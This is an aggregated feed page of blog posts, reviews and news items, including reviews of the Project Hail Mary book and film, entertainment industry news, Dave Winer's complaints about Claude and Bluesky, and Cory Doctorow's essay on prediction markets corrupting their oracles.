This is just a way to preserve a little of the Frontier culture. Hard to explain in words. Easier to show as screen shots.

Project Hail Mary: la posibilidad ante la catástrofe

Dirección: Phil Lord, Christopher Miller. Guion: Drew Goddard, basado en el libro homónimo de Andy Weir. País: Estados Unidos. Elenco: Ryan Gosling, Sandra Huller, James Ortiz, Lionely Boyce. Más información de la película: https://www.imdb.com/title/tt12042730/ “Ante unas circunstancias tan desfavorables, solo me queda una opción: ¡voy a tener que darle duro a la ciencia!” The Martian […]

La entrada Project Hail Mary: la posibilidad ante la catástrofe se publicó primero en Palomita de maíz.

Cocaine And Cooperation

Writing of lasting value

Using FireWire on a Raspberry Pi

After learning Apple killed off FireWire (IEEE 1394) support in macOS 26 Tahoe, I started looking at alternatives for old FireWire equipment like hard drives, DV cameras, and A/V gear.

I own an old Canon GL1 camera, with a 'DV' port. I could plug that into an old Mac (like the dual G4 MDD above) with FireWire—or even a modern Mac running macOS < 26, with some dongles—and transfer digital video footage between the camera and an application like Final Cut Pro.

The Plaque

A Crisis Dispatch

Project Hail Mary by Andy Weir

I was in the library the weekend before last when I spotted something on the shelf of recently-returned books. Project Hail Mary by Andy Weir.

I knew the film adaptation was coming out later that week. Ideally, I’d like to read the book before seeing the film. It would be a race against time! The film would be out in days, and the book is over 450 pages long. Could this nerdy white guy rise to challenge and overcome the odds?

As it turned out, it wasn’t all that arduous. Project Hail Mary is a real page-turner, just like Andy Weir’s previous book, The Martian.

But his books are worryingly regressive. The so-called golden age of science fiction featured plenty of plucky white science guys saving the day with their brainpower in books written by white science guys. Andy Weir’s books have a similar outlook.

On the other hand, they’re undeniably fun. And who knows? Maybe his next book will feature a protaganist that isn’t an aw-shucks white guy.

( Update: multiple people have pointed out that I completely missed that Andy Weir’s other book, Artemis, features a refreshingly different kind of protaganist—phew!)

Project Hail Mary is packed with plenty of plausible-sounding science. Perhaps too much. After a while it felt like elements were being added to the story to showcase the author’s smarts rather than to propel the plot.

Over all, the book is good entertaining fun but a bit baggy and could’ve been edited down somewhat.

I was interested to see how the film would translate the science from the written page to the screen. Very commendably, as it turns out.

The film does a great job of avoiding expositional blackboard sequences or explanatory dialogue. Wherever possible, it shows rather than tells. It helps that it doesn’t underestimate what the audience can handle.

Above all, it’s entertaining. Popcorn was invented for this kind of film. Ryan Gosling does his usual entertaining shtick, though I kept thinking that Sam Rockwell would’ve really delivered the goods.

The film trims the book down to its essentials. I didn’t miss any of the elements they chose to cut. I did spot one glaring mistake, but that was continuity error rather than anything to do with the science.

Project Hail Mary the film is better than Project Hail Mary the book. Go see it. And if it leaves you wishing for more, then you can always read the book.

@IIIF Mastodon feed

Upcoming #IIIF Community Call: Using IIIF, Gemini 3, and AI Drafts for Transcription in FromThePage.

On April 8, Sara & Ben Brumfield will show how FromThePage is sending IIIF images to LLMs; showing AI draft transcripts, provenance & reasoning in the UI; and more.

Zoom: iiif.io/community

Tuesday Briefing: What the Standoff Over TSA is Really About

This is the biggest story right now. Here’s what’s actually happening and what it means.

Trump Lied About Iran Talks, DHS Minus ICE Set To Reopen, Poll: Dems Should Be Leaning Into "Elections And Democracy"

I will be with Hopium fav Anderson Clayton tonight in DC at 6pm - join us!

@Pleiades STOA at hcommons.socal

Export Updates 2026-03-24:

Pleiades gazetteer of ancient places

1 new and 8 updated places.

1. Downloads: https://pleiades.stoa.org/downloads

2. pleiades.datasets: https://github.com/isawnyu/pleiades.datasets:

"main" branch:

e83407c9 - updated json

no change: rdf/ttl

97c48f78 - updated gis package

76b04238 - updated data quality

f97f0958 - updated bibliography

c90d2655 - updated indexes

3cde2c47 - updated sidebar

3. pleiades-geojson: https://github.com/ryanfb/pleiades-geojson:

bf9ae7ea - updated geojson and names index

4. pleiades_wikidata: https://github.com/isawnyu/pleiades_wikidata/:

a8c1b115 - updated pleiades wikidata

‘Boy Band Confidential’ Docuseries Sings At ID

Investigation Discovery is exploring the boy band boom of the 1990s. The WBD network is launching Boy Band Confidential, which comes from NSYNC member Joey Fatone. The two-parter will reveal “how the industry transformed young performers into marketable commodities while exposing untold stories of abuse, addiction, and financial manipulation”. It is the latest docuseries to explore the dark […]

Berlinale Shifts 2027 Dates To Accommodate More Public Screenings As It Posts Record Ticket Sales

The 77th Berlin Film Festival will run from February 10 to 21 in 2027 to open on Wednesday rather than Thursday as in previous years. Under the change, the Official Awards Ceremony will be held on the second Friday (February 19 ), rather than the Saturday. The 2027 date announcement comes a month after a […]

Leanne Morgan Sets The Time Of Our Lives Tour With Shows In 32 U.S. Markets

EXCLUSIVE: Comedian Leanne Morgan has announced a new tour, The Time of Our Lives Tour, which will see her hit 32 markets across the United States from late June through December. This comes following the success of Morgan’s Just Getting Started tour, which saw her sell more than 100,000 tickets in the first six months […]

Television Academy Invites Property Masters To Join For First Time

The Television Academy has announced a new Property Masters subgroup within the Directors Peer Group for individuals who have advanced the art of storytelling through their craft as a Property Master. This enables qualifying Property Masters, for the first time, to be eligible for either active (voting) or associate membership in the Academy. The Academy’s […]

‘Sirāt’: Neon Sets Digital & Blu-Ray Release Dates For Oscar-Nominated Rave Culture Drama

EXCLUSIVE: Neon has launched the digital release of Oliver Laxe’s Oscar-nominated Spanish feature Sirāt today and also revealed that the drama will be available on Blu-ray from May 19. The home release announcement comes as the feature continues to screen in theatres across the U.S. where it has grossed $1.6M to date. The film stars […]

Jason Statham’s ‘The Beekeeper 2’ Sold To German-Speaking Territories For January 2027 Release

Leonine Studios has acquired distribution rights in German speaking Europe, excluding a Pay-1 window on Prime Video, to Miramax’s highly anticipated sequel The Beekeeper 2 starring Jason Statham. The company will release the action thriller across theaters in Germany on January 14, 2027. Leonine Studios previously enjoyed success with the first installment, releasing it in […]

@Dave Winer's linkblog

BTW, as long as Bluesky has a 300 char limit and no style or links, I'm going to have to hand-translate posts there to become posts on my blog where no such limits exist. At some point either they give up on the limits or I give up on them.

‘Bridgerton’ Season 5 To Spotlight Female Love Story As Production Gets Underway

Bridgerton Season 5 has set Masali Baduza and Hannah Dodd as romantic leads, with cameras now rolling on the Netflix drama in the UK. The new season, produced by Shondaland and based on Julia Quinn’s novels, spotlights the Bridgerton’s introverted middle daughter Francesca (Dodd). Two years after losing her beloved husband, John, Fran decides to […]

Online suckage is everywhere

The 300 char limit here has as much suckage as Claude pretending you want to know what it thinks you're trying to do.

It's another freaking algorithm.

Bluesky assumes you can say whatever you have to say in 300 characters. It's a fucking machine, how could it possibly know.

Claude thinks it can tell me what to do, but it's a fucking machine. it has no idea what i'm doing.

First we need freedom from billionaires. Then we need freedom from character limits. And finally we need freedom from machines who think they know better.

AND THE STUPID THING ABOUT CLAUDE IS IT DOESN'T EVEN SAY WHAT IT THINKS YOU'RE TRYING TO DO. YOU HAVE TO READ WHAT IT SAYS AND THEN TRY TO GUESS. YOU QUICKLY LOSE YOUR MIND THAT WAY. MAYBE THAT'S THE POINT.

And how mad can you get at a machine named Bluesky or Claude. They should call these things Mind-Killer or Soul-Sucker or You-Cuck. Then at least you'd know why you're there. :-)

BTW, as long as Bluesky has a 300 char limit and no style or links, I'm going to have to hand-translate posts there to become posts here where no such limits prevail. At some point either they give up on the limits or I give up on them.

Mel Schilling Dies: ‘Married At First Sight’ Relationship Coach Was 54

Mel Schilling, best known as a relationship coach on the reality show Married At First Sight, has died. She was 54.  Schilling’s family confirmed her death this morning with a statement first published by the Press Association. Schilling was diagnosed with colon cancer in 2023, but recently said the cancer had spread. The family’s statement […]

@Dave Winer's Scripting News

You can't really use Claude to do research. It always assumes you're trying to do something. If you don't tell it what you're trying to do it guesses, and then starts telling you what to do. Its guesses are always wildly wrong. How do you tell it to stop telling you what to do? It totally disrupts your train of thought. But it makes me miss the days of Stack Exchange and Google search.

Hollywood Going “Backwards” On Representation As “Films About Women Having Nervous Breakdowns” Come Back Into Fashion, Says Former Channel 4 Drama Boss

Hollywood and high-end TV are “taking steps backwards in terms of the quality of representation we are seeing.” That was the verdict of ex-Channel 4 drama boss and North Road executive Caroline Hollick, who told a Series Mania panel she is not happy that “films about women having nervous breakdowns” are back in fashion. Hollick […]

‘Adolescence’ Dominates BAFTA Television Awards Nominations, With ‘A Thousand Blows’ Also Packing A Punch

Adolescence’s awards hot streak could be heading for a big crescendo after the Netflix series dominated nominations for the BAFTA Television Awards. The Stephen Graham and Jack Thorne-created series, chronicling the manosphere’s impact on a British teenager, scooped 11 nominations in total across the TV and Craft awards. Graham will compete for Leading Actor, facing […]

What Does Claude Need to Be My Social Media Manager?

I have a problem that I suspect others reading this share: my content is spread across too many places, and I have no coherent picture of what’s actually working. I post on Mastodon, Bluesky and LinkedIn. I write a weekly blog post. I have two newsletters — one monthly, one “when I leave somewhere.” I […]

Coming up: Document Freedom Day in Noida, India

The Software Freedom Law Center of India writes: Ever lost access to a file because the software stopped working? That’s what happens when your data is trapped in proprietary formats. Proprietary formats give corporations the power to decide how and when you access your own data. Open Standards take that

Are the Windsors Underestimating the Sussex Problem?

Just how desperate does the House of Windsor want Harry and Meghan to get?

Pluralistic: Goodhart's Law vs "prediction markets" (24 Mar 2026)

Today's links Goodhart's Law vs "prediction markets": Putting a gun to the metric's head. Hey look at this: Delights to delectate. Object permanence: Apple v interop; Yahoo v the world; Rasputin v the Haunted Mansion; Opening chord from A Hard Day's Night; Mondrian Pong; "IP": Patent trolls v Apple. Upcoming appearances: Berkeley, Montreal, London, Berlin, Hay-on-Wye. Recent appearances: Where I've been. Latest books: You keep readin' em, I'll keep writin' 'em. Upcoming books: Like I said, I'll keep writin' 'em. Colophon: All the rest. Goodhart's Law vs "prediction markets" (permalink) The most selectively believed-in verse in the conservative catechism is the idea that "incentives matter." Sure, "incentives matter" if you're seeking healthcare. That's why you're nibbled to death by co-pays and deductibles – if you could get healthcare whenever you felt like it, you might get too much healthcare. "Incentives matter," so we have to make sure that you only seek care when you really need it: https://pluralistic.net/2025/04/14/timmy-share/#a-superior-moral-justification-for-selfishness But rich people don't need to be disciplined by incentives. They can get no-bid contracts with Uncle Sucker without being tempted to rip off the USA. They can force their workers into nondisparagement clauses without being tempted to act like a colossal asshole, secure in the knowledge that they can sue workers who tattle on them. They can force their workers into noncompete clauses without being tempted to underpay and abuse their workers, secure in the knowledge that they can sue workers who take their labor elsewhere. They can force their workers into binding arbitration clauses without being tempted into maiming or killing them, secure in the knowledge that the workers can't sue them. So incentives matter…when you're fucking over working people. But incentives don't matter, when you're gilding the Epstein class's lilies. But incentives really do matter. That's the premise of Goodhart's law: "When a measure becomes a target, it ceases to be a good measure." This comes up all the time. Google got its start by observing that people who made websites linked to other websites that they found important or worthy or informative. With this insight, Google repurposed the academic practice of "citation analysis" to predict which pages on the internet were most authoritative, calling it Pagerank. Google Search, powered by Pagerank, was vastly superior to any search engine in history. But as soon as Google became the most popular search engine, people started making links to bad websites – sites filled with spam and malware and junk – in order to game the results. The metric – inbound links – became a target – get inbound links – and stopped being a useful metric. There is something quite wonderful and life affirming about the idea of Pagerank: the idea that people are, on average, pretty good at figuring out what's good. Rather than taking Yahoo's approach of having experts rank and categorize every website on earth, Google trusted "the wisdom of crowds" and it worked (until they created an incentive to subvert it). "The wisdom of crowds" was in the air in those days. James Surowiecki had a massive bestseller with that title in 2004, expounding on the idea that people were, in aggregate, good at figuring stuff out: https://en.wikipedia.org/wiki/The_Wisdom_of_Crowds Surowiecki's book revolved around a famous anecdote from 1906, when 800 people at the Plymouth county fair were invited to guess at the weight of a slaughtered and dressed ox. Statistician (and eugenicist creep) Francis Galton noted that the average guess of 1207 lbs was within 1% of the actual weight, 1198 lbs. This turns out to be a repeatable phenomenon: if you get a lot of people – non-experts, experts, people paying close attention, people who barely think about it – to guess about something, the average is surprisingly accurate. Importantly, it's often more accurate than the best guess of experts. This idea of the wisdom of crowds inspired a lot of 2000s-era internet projects. Some of them (Yahoo Answers) were pretty bad. Others (Wikipedia) were astounding. Of course, economists observed that "the wisdom of crowds" sounds a lot like the idea of "price discovery" – the idea that markets are a way of processing widely diffused information about desires and capacity in order to derive and emit signals about what should be produced. Economists have long spoken of future events being "priced in" to markets – for example, the price of oil today reflects more than the diminished supply resulting from Trump's military blunders, it also reflects "the market's" belief that oil production capacity will be disrupted for a long time to come. Add up all the different buyers' and sellers' guesses about the future of oil (incorporating diffuse knowledge about damage to infrastructure, capacity to rebuild, and intentions of the actors) and (we're told) we'll get a number that accurately reflects the real situation. And, unlike Pagerank, this number can't be manipulated by flooding the system with spurious, self-serving inputs. If you want to move this price, you have to buy or sell something, which costs money. And because the market is "deep" (with a lot of participants), the sums you'd have to inject into the system to alter its consensus is incredibly large – more than you could possibly stand to make by manipulating the price itself. Incentives matter. Put "markets," "the wisdom of crowds" and "incentives matter" together and you get "prediction markets." Just create a market where people can bet real money on the outcomes of events and you can recreate Galton's ox-guessing miracle, but for everything – how much new solar capacity will come online in Pakistan next year; the likelihood that the Toronto Transit Commission will finish the Ontario Line this year; whether a biotech firm will ship an AIDS vaccine before 2040. This is where Goodhart's law comes in. The idea that betting markets improve the wisdom of crowds because participants have "skin in the game" only works if the cheapest way to win a bet is to be right. If it's cheaper to win by cheating, well, "incentives matter," and you'll get cheating. Any prediction market needs an "oracle" – a decisive source of truth about how an event turned out. "How much new solar capacity came online in Pakistan" this year sounds like an empirical question, but unless every bettor agrees to travel to Pakistan together and walk the land, counting solar panels and checking proof of their installation dates, these bettors need to agree on some third party assessor as authoritative and trust whatever they say. Which means that the single most important factor in any prediction market is the quality of the oracle. If you let Trump be your oracle, he'll insist (on a daily basis) that his war in Iran is over, and that he had bigger crowds for his inauguration than anyone in history, and that every criminal is Somali, and on and on and on. So you need to get someone trustworthy and diligent to serve as your oracle. But that person also has to be incorruptible, because otherwise a bettor will offer them a bribe to lie about the outcome of a bet. And if the oracle can't be bribed, they can be coerced. That's just what's happened. Times of Israel war correspondent Emanuel Fabian didn't know that he was serving as an oracle for a bunch of degenerate gamblers on Polymarket – until he wrote a 150 word blog post that made a bunch of bettors in a $14m wager very, very angry: https://www.timesofisrael.com/gamblers-trying-to-win-a-bet-on-polymarket-are-vowing-to-kill-me-if-i-dont-rewrite-an-iran-missile-story/ The $14m was riding on a bet about when Iran would successfully strike Israel, with "success" defined as a missile getting through without being intercepted. Fabian filed a routine report that a missile had struck an open area in Jerusalem without hurting anyone. That's when the degenerate gamblers found him. At first, they sent thinly veiled threats, demanding that Fabian revise his reporting to say that the missile had been intercepted and that the impact was just wreckage from the interception. When Fabian did not revise his article, the gamblers tracked down his messaging IDs – Whatsapp, Discord, X – and bombarded him with escalating threats. A journalistic colleague contacted Fabian with the lie that his boss wanted Fabian to change the story, then admitted that he was actually invested in the wager, and offered to split the money with Fabian. Then, a gambler calling himself "Haim" sent Fabian a new series of blood-curdling threats, including a promise to spend at least $900,000 (the money Haim said he stood to lose) on a hit-man to kill Fabian. Haim threatened Fabian's "lovely parents" and "brothers and sisters" too. The threats continued until Fabian published his article about the threats, then Haim disappeared. Speaking to Charlie Warzel, Fabian said that he would never be able to report the same way again, because from now on, he'd be worried that some gambler would threaten to kill him if they didn't like what he wrote: https://www.theatlantic.com/technology/2026/03/emanuel-fabian-threats-polymarket/686454/?gift=nwn-guseqS6cY1kVeEKZAY9_c8Sv4UbJoz5hAUuU8YE&utm_source=copy-link&utm_medium=social&utm_campaign=share It's sadly not unusual for journalists to receive death threats for reporting the truth, and Israel is the most dangerous country in the world to be a journalist. The IDF has murdered at least 274 journalists to date: https://en.wikipedia.org/wiki/Killing_of_journalists_in_the_Gaza_war But those journalists are being murdered for political reasons, because someone has an ideological stake in suppressing the truth. Fabian's talking about an entirely novel – and far less predictable – threat; namely, that you will piss off someone who guessed wrong about the outcome of some arbitrary event and who thinks that they can salvage their bet by intimidating you. Writing for Techdirt, Mike Masnick talks about the sheer perversity of this: that prediction markets, far from being a means of surfacing hidden information, have become a system for distorting information: https://www.techdirt.com/2026/03/19/prediction-markets-promised-better-information-instead-theyre-creating-powerful-incentives-to-corrupt-information/ As Masnick says, this is no routine proof of Goodhart's law, where a metric becomes a target. In this case, participants can "put a gun to the metric's head." And of course, not every journalist is as incorruptible as Fabian – think about Fabian's colleague who offered to split the take if Fabian would lie about the missile strike. So there's plenty of incentive to publish lies – and incentives matter, right? Now, "prediction markets" are big business and they have plenty of apologists (incentives matter). These apologists will say that the corruption is a feature, not a bug, because prediction markets will attract insiders who cheat on the bets by using their insider knowledge, and that means that looking at the moving odds of an event can help everyone else figure out what's about to happen. If military insiders who know that Trump is about to kidnap the president of Venezuela and steal its oil start laying big bets that this is going to happen, the shifting odds are a signal about a true future event. But even if you buy this perverse argument, it doesn't offset the even more perverse effect – that prediction markets create an incentive to corrupt our best sources of information, the oracles that every prediction market absolutely requires if it is going to hope to function. Meanwhile, Polymarket and Kalshi suck at predicting things. As Molly White points out, the predictions in the recent Illinois 2nd District Congressional race weren't just incredibly wrong, they also precisely tracked the sums flooded into the election by cryptocurrency Super PACs, who tried (unsuccessfully) to buy the race. Polymarket and Kalshi are heavily crypto-coded (the only things you can do with crypto is buy other kinds of crypto, launder money, and make wagers) so these demonic freaks flush nearly as much money into the betting markets as they do into the elections they seek to corrupt: https://bsky.app/profile/molly.wiki/post/3mhch3ze5nc2z Prediction markets aren't good at producing information, but they're amazing at producing corruption. Polymarket and Kalshi have at last realized the unhinged fantasy of "assassination markets" – where you stochastically murder someone by putting up huge wagers at favorable odds that your target will be killed. Anyone can collect the wager by putting up a small counterwager and then bumping off the victim. But, as Protos's Cas Piancey and Mark Toon note, Polymarket and Kalshi know what side their bread is buttered on – they have banned bets on Trump's death (Trump's sons are heavily invested in both Polymarket and Kalshi): https://protos.com/assassination-markets-are-legal-now-but-trump-doesnt-have-to-worry/ Incentives do matter. These are the foreseeable and foreseen outcomes of prediction markets. Many science fiction writers (Charlie Stross, Ted Chiang, me, and others!) have noted that long before the current AI bubble, our society was dominated by artificial life forms: the limited liability corporation, a "slow AI" that is an immortal colony organism that uses human beings as a form of inconvenient gut flora: https://pluralistic.net/2023/03/09/autocomplete-worshippers/#the-real-ai-was-the-corporations-that-we-fought-along-the-way Anyone who's worked with machine learning systems knows that they're prone to "reward hacking," like the ML-guided Roomba that was programmed to avoid collisions with walls and furniture as it found the quickest path around the room. The Roomba's collision sensor was on its front face, so the Roomba started moving around the room in reverse, smashing the hell out of the furnishings and walls, but never registering a hit: https://web.archive.org/web/20190109142921/https://twitter.com/smingleigh/status/1060325665671692288 Markets are absolutely capable of inducing reward hacking in participants. The metric becomes a target. You think you're betting on the outcome of an event, but what you're really betting on is what an oracle will say the outcome was. No matter what the outcome is or how robust it is against outside influence, the oracle can be influenced with a gun to the temple. Sure, we all want "number go up," but why bother increasing the thing the number measures, when it's so much easier to threaten to dismember the person who publishes the number if they don't publish a higher number? Hey look at this (permalink) Tickets to HOPE 26 go on sale Tuesday, March 24 https://store.2600.com/products/tickets-to-hope-26?variant=42147982737463 Prediction Markets Promised Better Information. Instead They’re Creating Powerful Incentives to Corrupt Information. https://www.techdirt.com/2026/03/19/prediction-markets-promised-better-information-instead-theyre-creating-powerful-incentives-to-corrupt-information/ Suicidal Bootlicking as a Method of Governance https://www.hamiltonnolan.com/p/suicidal-bootlicking-as-a-method California bill aims to help vibe coders https://www.semafor.com/article/03/20/2026/california-bill-aims-to-help-vibe-coders Manipulating the Stock Market Is Trump's War Strategy https://www.thebignewsletter.com/p/monopoly-round-up-manipulating-the Object permanence (permalink) #20yrsago Airport screening doesn’t stop knives, bombs, or guns https://www.schneier.com/blog/archives/2006/03/airport_passeng.html #20yrsago Apple’s hypocritical slam against French DRM-interop law http://news.bbc.co.uk/2/hi/technology/4833010.stm #20yrsago Vinge’s scientific computing Nature article about MMORPGs https://web.archive.org/web/20060411235146/http://www.nature.com/news/2006/060320/full/440411a.html #20yrsago Yahoo: if you use our ads, you have to block non-US visitors https://memex.craphound.com/2006/03/22/yahoo-if-you-use-our-ads-you-have-to-block-non-us-visitors/ #20yrsago Stand-up comic gets his material from dumb patents https://web.archive.org/web/20060613212120/https://www.wired.com/news/technology/0,70368-0.html?tw=rss.index #15yrsago Chinese censorware nukes any voicecall that contains the word “protest” https://www.nytimes.com/2011/03/22/world/asia/22china.html?_r=2&ref=world #15yrsago Why Rasputin isn’t in the Haunted Mansion https://longforgottenhauntedmansion.blogspot.com/2011/03/famous-ghosts-and-ghosts-trying-to-make.html #15yrsago HOWTO play the opening chord from ‘A Hard Day’s Night’ https://www.beatlesbible.com/features/hard-days-night-chord/ #15yrsago Google Book Search rejected: why not try fair use instead? https://arstechnica.com/tech-policy/2011/03/judge-rejects-google-book-monopoly/ #10yrsago Harvard Blue Book: peace in our time? https://web.archive.org/web/20160322020137/https://hlrecord.org/2016/03/the-blue-wars-a-report-from-the-front/ #10yrsago Mondrian pong https://b3ta.com/board/11191694 #10yrsago Silverpush says it’s not in the ultrasonic audio-tracker ad-beacons business anymore https://web.archive.org/web/20160324110815/https://motherboard.vice.com/read/silverpush-ftc-stop-eavesdropping-with-audio-beacons #10yrsago Nixon started the War on Drugs because he couldn’t declare war on black people and hippies https://harpers.org/archive/2016/04/legalize-it-all/?single=1 #10yrsago Anti-DRM demonstrators picket W3C meeting https://www.eff.org/deeplinks/2016/03/scenes-anti-drm-protest-outside-w3c #10yrsago Student loan garnisheeing topped $176M in three months https://web.archive.org/web/20160322023207/https://consumerist.com/2016/03/21/176m-in-wages-garnished-for-unpaid-federal-student-loans-in-just-three-months/ #10yrsago Dozens of car models can be unlocked and started with a cheap radio amp https://www.adac.de/rund-ums-fahrzeug/ausstattung-technik-zubehoer/assistenzsysteme/keyless/ #10yrsago US Embassy staffer ran a sextortion racket from work computer for 2 years https://arstechnica.com/tech-policy/2016/03/former-us-embassy-staffer-sentenced-to-nearly-five-years-for-sextortion/ #5yrsago Patent troll IP is more powerful than Apple's https://pluralistic.net/2021/03/22/gandersauce/#petard Upcoming appearances (permalink) Berkeley: Bioneers keynote, Mar 27 https://conference.bioneers.org/ Montreal: Bronfman Lecture (McGill), Apr 10 https://www.eventbrite.ca/e/artificial-intelligence-the-ultimate-disrupter-tickets-1982706623885 Montreal: Drawn and Quarterly, Apr 10 https://mtl.drawnandquarterly.com/events/4863920260410 London: Resisting Big Tech Empires (LSBU), Apr 25 https://www.tickettailor.com/events/globaljusticenow/2042691 Berlin: Re:publica, May 18-20 https://re-publica.com/de/news/rp26-sprecher-cory-doctorow Berlin: Enshittification at Otherland Books, May 19 https://www.otherland-berlin.de/de/event-details/cory-doctorow.html Hay-on-Wye: HowTheLightGetsIn, May 22-25 https://howthelightgetsin.org/festivals/hay/big-ideas-2 Recent appearances (permalink) Do you feel screwed over by big tech? (Ontario Today) https://www.cbc.ca/listen/live-radio/1-45-ontario-today/clip/16203024-do-feel-screwed-big-tech Launch for Cindy's Cohn's "Privacy's Defender" (City Lights) https://www.youtube.com/watch?v=WuVCm2PUalU Chicken Mating Harnesses (This Week in Tech) https://twit.tv/shows/this-week-in-tech/episodes/1074 The Virtual Jewel Box (U Utah) https://tanner.utah.edu/podcast/enshittification-cory-doctorow-matthew-potolsky/ Tanner Humanities Lecture (U Utah) https://www.youtube.com/watch?v=i6Yf1nSyekI Latest books (permalink) "Canny Valley": A limited edition collection of the collages I create for Pluralistic, self-published, September 2025 https://pluralistic.net/2025/09/04/illustrious/#chairman-bruce "Enshittification: Why Everything Suddenly Got Worse and What to Do About It," Farrar, Straus, Giroux, October 7 2025 https://us.macmillan.com/books/9780374619329/enshittification/ "Picks and Shovels": a sequel to "Red Team Blues," about the heroic era of the PC, Tor Books (US), Head of Zeus (UK), February 2025 (https://us.macmillan.com/books/9781250865908/picksandshovels). "The Bezzle": a sequel to "Red Team Blues," about prison-tech and other grifts, Tor Books (US), Head of Zeus (UK), February 2024 (thebezzle.org). "The Lost Cause:" a solarpunk novel of hope in the climate emergency, Tor Books (US), Head of Zeus (UK), November 2023 (http://lost-cause.org). "The Internet Con": A nonfiction book about interoperability and Big Tech (Verso) September 2023 (http://seizethemeansofcomputation.org). Signed copies at Book Soup (https://www.booksoup.com/book/9781804291245). "Red Team Blues": "A grabby, compulsive thriller that will leave you knowing more about how the world works than you did before." Tor Books http://redteamblues.com. "Chokepoint Capitalism: How to Beat Big Tech, Tame Big Content, and Get Artists Paid, with Rebecca Giblin", on how to unrig the markets for creative labor, Beacon Press/Scribe 2022 https://chokepointcapitalism.com Upcoming books (permalink) "The Reverse-Centaur's Guide to AI," a short book about being a better AI critic, Farrar, Straus and Giroux, June 2026 (https://us.macmillan.com/books/9780374621568/thereversecentaursguidetolifeafterai/) "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2026 "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027 "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, 2027 "The Memex Method," Farrar, Straus, Giroux, 2027 Colophon (permalink) Today's top sources: Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America (646 words today, 55270 total) FIRST DRAFT COMPLETE "The Reverse Centaur's Guide to AI," a short book for Farrar, Straus and Giroux about being an effective AI critic. LEGAL REVIEW AND COPYEDIT COMPLETE. "The Post-American Internet," a short book about internet policy in the age of Trumpism. PLANNING. A Little Brother short story about DIY insulin PLANNING This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net. https://creativecommons.org/licenses/by/4.0/ Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution. How to get Pluralistic: Blog (no ads, tracking, or data-collection): Pluralistic.net Newsletter (no ads, tracking, or data-collection): https://pluralistic.net/plura-list Mastodon (no ads, tracking, or data-collection): https://mamot.fr/@pluralistic Bluesky (no ads, possible tracking and data-collection): https://bsky.app/profile/doctorow.pluralistic.net Medium (no ads, paywalled): https://doctorow.medium.com/ https://twitter.com/doctorow Tumblr (mass-scale, unrestricted, third-party surveillance and advertising): https://mostlysignssomeportents.tumblr.com/tagged/pluralistic "When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer. ISSN: 3066-764X

Team Mirai and Democracy

Japan’s election last month and the rise of the country’s newest and most innovative political party, Team Mirai, illustrates the viability of a different way to do politics.

In this model, technology is used to make democratic processes stronger, instead of undermining them. It is harnessed to root out corruption, instead of serving as a cash cow for campaign donations.

Imagine an election where every voter has the opportunity to opine directly to politicians on precisely the issues they care about. They’re not expected to spend hours becoming policy experts. Instead, an ...

NEW POLL: Trump's approval stuck at record low as approval on prices sinks to -39

Our new Strength In Numbers/Verasight poll finds Democrats leading by 6 on the generic ballot, and Trump's approval on prices falling to its worst level yet

TSA Arrests ICE Agents After Guns Set Off Metal Detectors

ICE agents walked through the detectors despite signs warning that firearms were not permitted.

Systemd-free antiX Linux 26: Debian 13, in bonsai form

Plus: Still supports 32-bit hardware or VMs

AntiX Linux is a heavily cut-down version of Debian 13, with a choice of init systems and ultralightweight GUIs. This means it's able to run usefully on older and lower-end PCs – and, of course, to run faster on modern ones.

Lit Hub Daily: March 24, 2026

Cecile Pin recommends astronaut books by Samantha Harvey, Eliana Ramage, Taylor Jenkins Reid, and more! | Lit Hub Reading Lists Thomas Dekeyser explores the psychology behind stigmatizing those who reject technology. | Lit Hub Technology “After Gaza, it is time

Treason in the Futures Markets

People close to Trump are trading based on national secrets

How to be a web developer: Stuff Everybody Knows

This is a guide to how to be a web developer.

Really good advice from Laurie.

What this site is not is a tutorial. Tutorials are very specific to a time and a technology. This is intended to be a guide to tell you all the things you can learn, so you can then go off and learn them.

adactio.com/links/22485

‘The Testaments’ Team On Casting Chase Infiniti As Agnes & Hopes For Multiple Seasons

“It was just Agnes,” The Testaments creator Bruce Miller told Deadline of the moment Chase Inifniti auditioned for the lead in the Hulu series. The adaptation of Margaret Atwood’s book and the sequel to The Handmaid’s Tale tells the story of Agnes’ coming of age as a member of Gilead’s elite. When she auditioned Infiniti had […]

What we think is a decline in literacy is a design problem | Aeon Essays

The choice isn’t between books and screens. The choice is between intentional design and profitable chaos. Between habitats that cultivate human potential and platforms that extract human attention.

adactio.com/links/22484

Mark Jacob on how the press ignores the biggest Trump story

"The president of the United States is clearly mentally unfit for office."

@Dave Winer's linkblog

7 Design Rules That Take 10 Minutes to Learn and Fix Your UI Forever.

Nazis in America, c. 1938-1941

DAYTON, OHIO – MARCH 1938 Residents were shocked when Gerhard Wilhelm Kunze, the German-American Bund’s national public relations officer, spoke at Liederkranz Hall on St. Patrick’s Day. For many, this felt like a betrayal, a reminder that the shadow of

“Technophobe!” A Short History of An Insult

On May 13th 1985, a Police Department helicopter hovering above 6221 Osage Avenue in West Philadelphia made history: it dropped 11/4-pound blocks of C-4 explosives, making it the first time a U.S. city bombed itself. The bomb killed 11 people,

Alireza Golafshan’s AI-Themed Thriller ‘Zoma’ With Leonie Benesch Wraps; Studiocanal Unveils First Image & Release Date

German director Alireza Golafshan has wrapped his AI-themed courthouse thriller Zoma after a shoot in and around Munich. Leonie Benesch, who made waves internationally in Oscar-nominated The Teachers’ Lounge and Munich Olympics hostage drama September 5, stars as an ambitious young lawyer who takes on a seemingly hopeless case against a powerful tech corporation. Zoma is the […]

In Defense of Pet Portraiture as a Worthy Art Form

